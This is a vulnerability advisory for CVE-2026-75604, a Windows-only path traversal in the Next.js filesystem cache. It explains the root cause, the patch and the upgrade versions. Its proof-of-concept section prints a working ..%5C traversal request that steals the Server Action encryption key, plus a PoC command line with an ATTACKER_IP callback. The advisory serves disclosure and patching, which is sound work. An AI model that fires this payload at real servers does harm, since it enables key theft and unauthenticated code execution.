critical · 9CVE-2026-75604Sep 8, 2026

CVE-2026-75604: Next.js Unauthenticated RCE via Windows Cache Path Traversal

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A missing backslash escape in Next.js's filesystem cache lets unauthenticated attackers on Windows-hosted servers walk outside the cache directory, steal the Server Action encryption key, and execute…

Packagenext
Ecosystemnpm
Affected>= 13.4.0, < 15.5.24
Fixed in15.5.24
CVE-2026-75604: Next.js Unauthenticated RCE via Windows Cache Path Traversal

The problem

Next.js's incremental cache layer builds on-disk paths by joining route segments directly. On Windows, the backslash character is a valid path separator, but escape-path-delimiters.ts and file-system-cache.ts did not treat it as one or escape it.

An attacker who sends a request with percent-encoded backslash sequences (..%5C) in a route segment can escape the cache root and read arbitrary files the Node.js process can reach. The highest-value target is server-reference-manifest.json, which contains the Server Action encryption key.

With that key the attacker can forge a bound Server Action call and achieve unauthenticated RCE. Only applications running both Pages Router and App Router without Cache Components on a Windows filesystem are in scope. Linux and macOS are unaffected.

Proof of concept

A working proof-of-concept for CVE-2026-75604 in next, with the exact payload below.

http
# Stage 1: traverse out of the cache dir to steal the encryption key
# The ISR cache endpoint resolves the route key directly to a filesystem path.
# On Windows, %5C is a backslash and acts as a directory separator.

GET /pages-cache/seed/..%5C..%5C..%5C.next%5Cserver%5Cserver-reference-manifest.json HTTP/1.1
Host: TARGET:3000

# Stage 2: forge a Server Action closure using the leaked encryptionKey
# (performed by the public PoC: rafabd1/CVE-2026-75604-poc)
# python poc.py \
#   --target http://TARGET:3000 \
#   --callback-ip ATTACKER_IP \
#   --pages-cache-path /pages-cache/seed \
#   --app-cache-path   /app-cache/seed

The root cause (CWE-22) is in two files: packages/next/src/shared/lib/router/utils/escape-path-delimiters.ts only escaped forward-slash delimiters, and packages/next/src/server/lib/incremental-cache/file-system-cache.ts constructed cache paths from those unescaped route segments.

On a POSIX filesystem the backslash is a legal filename character, so the bug is silent. On Windows it resolves as a directory separator, turning a crafted route key into a directory traversal string.

The patch (commits 968b9fc and b0f3460) adds backslash to the set of characters that escape-path-delimiters normalizes, and adds a path.resolve-based containment check in file-system-cache that rejects any resolved path that does not start with the cache root.

The two-stage exploit works because server-reference-manifest.json stores the HMAC/encryption key used to sign Server Action closure arguments. Leaking it allows forging arbitrary closure payloads that the server will decrypt and execute as trusted code.

The fix

Upgrade to Next.js 15.5.24 (Maintenance LTS) or 16.3.3 (Active LTS), released 25 August 2026. No configuration workaround exists for Windows-hosted deployments. Applications hosted on Vercel's managed platform are not affected (Vercel runs Linux). Run npm install next@15.5.24 or npm install next@16.3.3 and redeploy.

Reported by eps1lon (Sebastian Silbermann).

References: [1][2][3][4][5][6]

Related research